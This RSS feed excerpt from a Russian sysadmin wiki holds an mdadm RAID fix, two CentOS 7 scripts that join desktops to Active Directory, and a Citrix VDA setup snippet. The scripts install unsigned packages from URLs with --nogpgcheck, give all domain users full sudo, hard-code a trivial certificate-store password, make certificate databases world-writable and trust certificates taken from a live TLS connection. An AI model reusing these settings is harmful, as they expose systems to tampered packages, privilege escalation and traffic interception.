&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-761&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я нашел такой выход - загружаем систему, делаем тип диска не &lt;strong&gt;fd&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk --typecode=3:8300 /dev/sdb&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

В данном случае изменяем тип раздела &lt;strong&gt;/dev/sdb3&lt;/strong&gt;.&lt;br/&gt;

Если диск не разбит на разделы, то команда будет такой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk --typecode=8300 /dev/sdb&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

затем перезагружаемся:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

затем обнуляем суперблок и делаем раздел снова &lt;strong&gt;fd&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm --zero-superblock  /dev/sdb3\\
sgdisk --typecode=3:fd00 /dev/sdb&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

И добавляем раздел в нужный массив:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm -a /dev/md3 /dev/sdb3&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;762-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>centos_7_minimal_sssd_setup_script</title>
            <link>https://wiki.autosys.tk/linux_faq/centos_7_minimal_sssd_setup_script</link>
            <description>&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME=&amp;quot;centos-01&amp;quot;
NEW_DOMAINNAME=&amp;quot;test.com&amp;quot;
DNS_SERVERS=&amp;quot;192.168.246.130&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME&amp;quot;
AD_USER=&amp;quot;usik-ma&amp;quot;
DOMAIN_CONTROLLERS=$(cat &amp;lt;&amp;lt;EOF
dc01.test.com
dc02.test.com
EOF
)
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)
CA_CERT_PREFIX=&amp;quot;SberBank_Root_CA&amp;quot;

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;#039;/^net.ipv6.conf/D&amp;#039; /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.all.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.default.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.lo.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
sysctl -p
dhclient

##############################################
### Setting up Network
##############################################
hostnamectl set-hostname $NEW_HOSTNAME.$NEW_DOMAINNAME
sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost.localdomain localhost&amp;quot; | sudo tee -a /etc/hosts

echo &amp;quot;NETWORKING=yes&amp;quot; | sudo tee /etc/sysconfig/network
echo &amp;quot;HOSTNAME=$NEW_HOSTNAME.$NEW_DOMAINNAME&amp;quot; | sudo tee -a /etc/sysconfig/network
echo &amp;quot;SEARCH=$DNS_STATIC_SEARCHLIST&amp;quot; | sudo tee -a /etc/sysconfig/network

dnsnumber=1
for nameserver in $DNS_SERVERS; do
echo &amp;quot;DNS$dnsnumber=$nameserver&amp;quot; | sudo tee -a /etc/sysconfig/network
let &amp;quot;dnsnumber = dnsnumber + 1&amp;quot;
done

CONNECTIONS=$(nmcli -t -f NAME connection show)
for connection in $CONNECTIONS; do
nmcli con mod $connection connection.autoconnect yes
nmcli con mod $connection ipv4.dns-search $DNS_STATIC_SEARCHLIST
nmcli con mod $connection ipv4.ignore-auto-dns yes
sudo nmcli c modify $connection ipv4.dns &amp;#039;&amp;#039;
  for nameserver in $DNS_SERVERS; do
    nmcli c modify $connection +ipv4.dns $nameserver
  done
nmcli c down $connection
nmcli c up $connection
done
echo &amp;quot;Waiting for network...&amp;quot;
sleep 10

###########################################
### Add Corporate IronPort Certificates
###########################################
update-ca-trust force-enable
echo &amp;quot;Trying to reach ya.ru...&amp;quot;
ping -c 5 ya.ru &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;amp; openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem || exit
csplit -k -f $CA_CERT_PREFIX ./chain.pem &amp;#039;/END CERTIFICATE/+1&amp;#039; {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L &amp;#039;END CERTIFICATE&amp;#039; &amp;#039;{}&amp;#039; + | xargs -d &amp;#039;\n&amp;#039; rm
for file in &amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo mv &amp;quot;$file&amp;quot; /etc/pki/ca-trust/source/anchors/&amp;quot;$file&amp;quot;.pem ; done
for file in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo cp &amp;quot;$file&amp;quot; /etc/ssl/certs/ ; done
update-ca-trust extract
rm -f ./chain.pem

####################################
#### Setup Software
####################################
yum -y update
yum -y install chrony nano yum-utils openssl
yum -y install realmd oddjob oddjob-mkhomedir sssd adcli samba-common-tools
yum -y groupinstall &amp;quot;X Window System&amp;quot; &amp;quot;Fonts&amp;quot; kde-desktop
yum -y groupinstall &amp;quot;Internet Browser&amp;quot; &amp;quot;Office Suite and Productivity&amp;quot;
#yum -y groupinstall &amp;quot;Graphical Administration Tools&amp;quot; &amp;quot;General Purpose Desktop&amp;quot; &amp;quot;Graphics Creation Tools&amp;quot;
systemctl set-default graphical.target
systemctl disable initial-setup-text
systemctl disable initial-setup-graphical

yum -y install --nogpgcheck  https://repo.yandex.ru/yandex-browser/rpm/beta/x86_64/yandex-browser-beta-17.1.1.773-1.x86_64.rpm
yum -y install --nogpgcheck https://tel.red/repos/redhat/7/noarch/telred-redhat-7-latest.el7.noarch.rpm
yum -y install --nogpgcheck http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-TELRED

yum -y update

yum -y install xorg-x11-server-Xvfb evolution evolution-ews evolution-plugins \
clamav yandex-browser-beta flash-plugin alsa-plugins-pulseaudio libcurl sky

#############################################
#### Setting sudo
#############################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%domain\ users\@$NEW_DOMAINNAME          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%domain\ admins\@$NEW_DOMAINNAME      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i &amp;quot;/^Defaults\ targetpw.*\$/ s/^/#/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^ALL.*ALL=(ALL).*\$/ s/^/#/&amp;quot; /etc/sudoers

#########################################
### Setup NTP servers
#########################################
sudo systemctl start chronyd.service
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony.conf
done
sudo systemctl restart chronyd.service

########################################################
#### Setup Kerberos and Samba
########################################################
mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
mv /etc/krb5.conf /etc/krb5.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`

authconfig --smbsecurity=ads --smbworkgroup=$NETBIOS_DOMAIN_NAME \
--smbrealm=$DEFAULT_REALM --krb5realm=$DEFAULT_REALM \
--krb5kdc=$(echo $DOMAIN_CONTROLLERS | sed &amp;quot;s/\ /,/g&amp;quot;) --enablekrb5kdcdns \
--enablekrb5realmdns --update

sed -i &amp;quot;/^.*kerberos method =.*\$/ s/=.*$/= secrets and keytab/&amp;quot; /etc/samba/smb.conf
sed -i &amp;quot;/^.*template shell =.*\$/ s/=.*$/= \/bin\/bash/&amp;quot; /etc/samba/smb.conf
sed -i &amp;quot;/^.*winbind offline logon =.*\$/ s/=.*$/= yes/&amp;quot; /etc/samba/smb.conf
sed -i &amp;quot;/^.*winbind use default domain =.*\$/ s/=.*$/= yes/&amp;quot; /etc/samba/smb.conf

cat &amp;lt;&amp;lt;EOF &amp;gt;&amp;gt; /etc/samba/smb.conf

usershare max shares = 100
winbind refresh tickets = yes
encrypt passwords = yes

EOF

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                                                                                                                                                                                   
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER xvfb-run --server-args=&amp;quot;-screen 0, 1280x1024x24&amp;quot; firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR&amp;#039;/.mozilla/firefox/&amp;#039; -iname &amp;#039;*.default&amp;#039;);
for certificateFile in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

#################################################################
#### Add Launchers
#################################################################
#mkdir --parents /etc/skel/.kde/share/config/
#
#cat &amp;lt;&amp;lt;EOF &amp;gt; /ets/skel/.kde/share/config/plasma-desktop-appletsrc
#[Containments][1][Applets][5][Configuration][Launchers]
#Items=file:///opt/yandex/browser-beta/yandex_browser?wmClass=yandex-browser-beta%20%28%2Fhome%2Fmike%40test.com%2F.config%2Fyandex-browser-beta%29,file:///usr/share/applications/sky.desktop?wmClass=Sky,file:///usr/share/applications/kde4/konsole.desktop?wmClass=Konsole,file:///usr/share/applications/evolution.desktop?wmClass=Evolution
#EOF

##############################################
#### Join domain using SSSD
##############################################
#realm join -U $AD_USER $NEW_DOMAINNAME
&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;setup_citrix_vda&quot;&gt;Setup Citrix VDA&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
service postgresql initdb
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST=&amp;quot;v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru&amp;quot; \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=4 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_LDAP_LIST=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_SEARCH_BASE=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Setup Citrix VDA&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;setup_citrix_vda&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;11297-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>centos_7_minimal_winbind_setup_script</title>
            <link>https://wiki.autosys.tk/linux_faq/centos_7_minimal_winbind_setup_script</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;script&quot;&gt;Script&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME=&amp;quot;centos-01&amp;quot;
NEW_DOMAINNAME=&amp;quot;test.com&amp;quot;
DNS_SERVERS=&amp;quot;192.168.246.130&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME&amp;quot;
AD_USER=&amp;quot;usik-ma&amp;quot;
DOMAIN_CONTROLLERS=$(cat &amp;lt;&amp;lt;EOF
dc01.test.com
dc02.test.com
EOF
)
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)
CA_CERT_PREFIX=&amp;quot;SberBank_Root_CA&amp;quot;

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;#039;/^net.ipv6.conf/D&amp;#039; /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.all.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.default.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.lo.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
sysctl -p
dhclient

##############################################
### Setting up Network
##############################################
hostnamectl set-hostname $NEW_HOSTNAME.$NEW_DOMAINNAME
sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
sed -i &amp;#039;/^::1/D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost.localdomain localhost&amp;quot; | sudo tee -a /etc/hosts

echo &amp;quot;NETWORKING=yes&amp;quot; | sudo tee /etc/sysconfig/network
echo &amp;quot;HOSTNAME=$NEW_HOSTNAME&amp;quot; | sudo tee -a /etc/sysconfig/network
echo &amp;quot;SEARCH=$DNS_STATIC_SEARCHLIST&amp;quot; | sudo tee -a /etc/sysconfig/network

dnsnumber=1
for nameserver in $DNS_SERVERS; do
echo &amp;quot;DNS$dnsnumber=$nameserver&amp;quot; | sudo tee -a /etc/sysconfig/network
let &amp;quot;dnsnumber = dnsnumber + 1&amp;quot;
done

CONNECTIONS=$(nmcli -t -f NAME connection show)
for connection in $CONNECTIONS; do
nmcli con mod $connection connection.autoconnect yes
nmcli con mod $connection ipv4.dns-search $DNS_STATIC_SEARCHLIST
nmcli con mod $connection ipv4.ignore-auto-dns yes
sudo nmcli c modify $connection ipv4.dns &amp;#039;&amp;#039;
  for nameserver in $DNS_SERVERS; do
    nmcli c modify $connection +ipv4.dns $nameserver
  done
nmcli c down $connection
nmcli c up $connection
done
echo &amp;quot;Waiting for network...&amp;quot;
sleep 10

echo &amp;quot;$NEW_HOSTNAME&amp;quot; | sudo tee /etc/hostname

###########################################
### Add Corporate IronPort Certificates
###########################################
update-ca-trust force-enable
echo &amp;quot;Trying to reach ya.ru...&amp;quot;
ping -c 5 ya.ru &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;amp; openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem || exit
csplit -k -f $CA_CERT_PREFIX ./chain.pem &amp;#039;/END CERTIFICATE/+1&amp;#039; {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L &amp;#039;END CERTIFICATE&amp;#039; &amp;#039;{}&amp;#039; + | xargs -d &amp;#039;\n&amp;#039; rm
for file in &amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo mv &amp;quot;$file&amp;quot; /etc/pki/ca-trust/source/anchors/&amp;quot;$file&amp;quot;.pem ; done
for file in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo cp &amp;quot;$file&amp;quot; /etc/ssl/certs/ ; done
update-ca-trust extract
rm -f ./chain.pem

####################################
#### Setup Software
####################################
yum -y update
yum -y install chrony nano yum-utils openssl
yum -y install samba samba-winbind* authconfig samba-common-tools net-tools \
pam_krb5 bind-utils samba-winbind samba-winbind-clients krb5-workstation \
oddjob-mkhomedir
yum -y install cyrus-sasl cyrus-sasl-gssapi
yum -y groupinstall &amp;quot;X Window System&amp;quot; &amp;quot;Fonts&amp;quot; kde-desktop
yum -y groupinstall &amp;quot;Internet Browser&amp;quot; &amp;quot;Office Suite and Productivity&amp;quot;
#yum -y groupinstall &amp;quot;Graphical Administration Tools&amp;quot; \
#&amp;quot;General Purpose Desktop&amp;quot; &amp;quot;Graphics Creation Tools&amp;quot;
systemctl set-default graphical.target
systemctl disable initial-setup-text
systemctl disable initial-setup-graphical

yum -y install --nogpgcheck  https://repo.yandex.ru/yandex-browser/rpm/beta/x86_64/yandex-browser-beta-17.1.1.773-1.x86_64.rpm
yum -y install --nogpgcheck https://tel.red/repos/redhat/7/noarch/telred-redhat-7-latest.el7.noarch.rpm
yum -y install --nogpgcheck http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-TELRED

yum -y update

yum -y install xorg-x11-server-Xvfb evolution evolution-ews evolution-plugins \
clamav yandex-browser-beta flash-plugin alsa-plugins-pulseaudio libcurl sky

#############################################
#### Setting sudo
#############################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%domain\ users\@$NEW_DOMAINNAME          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%domain\ admins\@$NEW_DOMAINNAME      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i &amp;quot;/^Defaults\ targetpw.*\$/ s/^/#/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^ALL.*ALL=(ALL).*\$/ s/^/#/&amp;quot; /etc/sudoers

#########################################
### Setup NTP servers
#########################################
sudo systemctl start chronyd.service
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony.conf
done
sudo systemctl restart chronyd.service

########################################################
#### Setup Kerberos and Samba
########################################################
mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
mv /etc/krb5.conf /etc/krb5.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        logon path = \\%L\profiles\.msprofile
        logon home = \\%L\%U\.9xprofile
        logon drive = P:
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        winbind offline logon = no
        winbind refresh tickets = yes
        kerberos method = secrets and keytab
        winbind use default domain = yes
        encrypt passwords = yes
        dns proxy = no
        socket options = TCP_NODELAY
        domain master = no
        local master = no
        preferred master = no
        os level = 0
        domain logons = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
EOF
)

echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

########################################
#### Configure /etc/security/pam_winbind.conf
########################################
sed -i &amp;quot;/^.*krb5_auth.*\$/ s/^.*krb5_auth.*\$/krb5_auth = yes/&amp;quot; /etc/security/pam_winbind.conf
sed -i &amp;quot;/^.*krb5_ccache_type.*\$/ s/^.*krb5_ccache_type.*\$/krb5_ccache_type = FILE/&amp;quot; /etc/security/pam_winbind.conf
sed -i &amp;quot;/^.*mkhomedir.*\$/ s/^.*mkhomedir.*\$/mkhomedir = yes/&amp;quot; /etc/security/pam_winbind.conf

systemctl enable smb
systemctl enable winbind
systemctl restart smb
systemctl restart winbind

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                                                                                                                                                                                   
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER xvfb-run --server-args=&amp;quot;-screen 0, 1280x1024x24&amp;quot; firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR&amp;#039;/.mozilla/firefox/&amp;#039; -iname &amp;#039;*.default&amp;#039;);
for certificateFile in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/ca-trust/source/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

#################################################################
#### Add Launchers
#################################################################
#mkdir --parents /etc/skel/.kde/share/config/
#
#cat &amp;lt;&amp;lt;EOF &amp;gt; /ets/skel/.kde/share/config/plasma-desktop-appletsrc
#[Containments][1][Applets][5][Configuration][Launchers]
#Items=file:///opt/yandex/browser-beta/yandex_browser?wmClass=yandex-browser-beta%20%28%2Fhome%2Fmike%40test.com%2F.config%2Fyandex-browser-beta%29,file:///usr/share/applications/sky.desktop?wmClass=Sky,file:///usr/share/applications/kde4/konsole.desktop?wmClass=Konsole,file:///usr/share/applications/evolution.desktop?wmClass=Evolution
#EOF

##############################################
#### Join domain using Samba-Winbind
##############################################
